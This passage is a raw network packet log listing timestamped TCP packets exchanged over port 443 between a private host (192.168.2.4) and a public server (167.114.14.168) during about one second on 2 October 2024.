Oct 2, 2024 06:10:30.392755032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.392771006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.392806053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.392811060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.392831087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.392851114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.394224882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.394241095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.394289970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.394294024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.395123005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.465217113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.465233088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.465284109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.465291977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.465339899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.467919111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.467933893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.468008041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.468013048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.468058109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.468915939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.468930960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.468975067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.468980074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.469001055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.469012976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.469511032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.469527006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.469556093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.469559908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.469589949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.469609022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.470412016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.470431089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.470469952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.470479012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.470496893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.470516920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.479285002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.479300976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.479358912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.479365110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.479415894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.483428001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.483444929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.483520031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.483525991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.483772993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.484833956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.484850883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.484898090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.484903097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.484939098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.484957933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.555721045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.555738926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.555815935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.555821896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.557820082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.558856964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.558873892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.558937073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.558943033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.560269117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.560296059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.560336113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.560343027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.560360909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.560389996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.561029911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.561048031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.561100006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.561105967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.561566114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.561583996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.561677933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.561683893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.565915108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.570064068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.570077896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.570141077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.570148945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.570161104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.570187092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.574209929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.574228048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.574292898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.574299097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.575387955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.575407028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.575484037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.575488091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.577641010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.646501064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.646523952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.646570921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.646585941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.646608114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.646621943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.649455070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.649470091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.649509907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.649516106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.649524927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.649549961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.650353909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.650371075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.650422096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.650425911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.650450945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.650465012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.650976896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.650994062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.651034117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.651037931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.651079893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.651087046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.651460886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.651477098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.651526928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.651531935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.651741982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.660794973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.660810947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.660865068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.660871029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.660921097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.664800882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.664817095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.664875984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.664880037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.664927006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.666040897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.666054964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.666100025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.666105032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.666126013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.666145086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.737817049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.737838984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.737901926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.737920046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.738497019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.740204096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.740235090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.740279913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.740286112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.740313053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.740324020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.741103888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.741120100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.741156101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.741162062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.741185904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.741208076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.741554022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.741569996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.741630077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.741635084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.741664886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.741682053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.741991043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.742012978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.742050886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.742055893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.742079020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.742096901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.751509905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.751528025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.751578093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.751593113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.751607895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.751630068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.755470037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.755486965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.755523920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.755531073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.755553961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.755572081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.756665945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.756686926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.756717920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.756724119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.756746054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.756756067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.838469982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.838488102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.838553905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.838568926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.838615894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.839000940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.839018106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.839046001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.839051008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.839081049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.839097023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.839840889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.839857101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.839900017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.839905024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.839926958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.839946032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.840485096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.840506077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.840539932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.840544939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.840565920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.840590954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.841325045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.841340065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.841398001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.841403961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.841521978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.842184067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.842200994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.842236996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.842241049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.842262030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.842281103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.846218109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.846236944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.846275091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.846278906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.846309900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.846328974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.847378016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.847412109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.847429037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.847433090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.847461939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.847480059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.929138899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.929160118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.929217100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.929228067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.929259062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.929276943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.929692984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.929713964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.929752111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.929758072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.929794073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.929989100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.930010080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.930044889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.930051088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.930073977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.930092096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.930879116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.930896044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.930943966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.930949926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.930984020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.930994034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.932043076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.932059050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.932109118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.932115078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.932199955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.932904959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.932920933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.932977915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.932984114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.933193922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.936794996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.936811924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.936856031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.936861992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.936896086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.936912060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.938116074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.938133001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.938168049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.938174009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.938219070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.019901037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.019922018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.019963026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.019975901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.019998074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.020023108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.020440102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.020456076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.020494938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.020498991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.020528078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.020548105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.020978928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.020997047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.021025896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.021030903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.021060944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.021070957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.021492958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.021507978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.021548033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.021552086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.021578074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.021591902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.022878885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.022897959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.023015022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.023015022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.023020983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.023071051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.023881912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.023914099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.023931026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.023936033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.023964882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.023978949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.027884960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.027945042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.027956009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.027975082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.028000116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.028017044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.029017925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.029061079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.029076099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.029083014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.029114008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.029120922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.110816002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.110837936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.110881090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.110903978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.110918045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.110958099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.111258030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.111277103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.111305952 CEST	49744	443	192.168.2.4	167.114.14.168
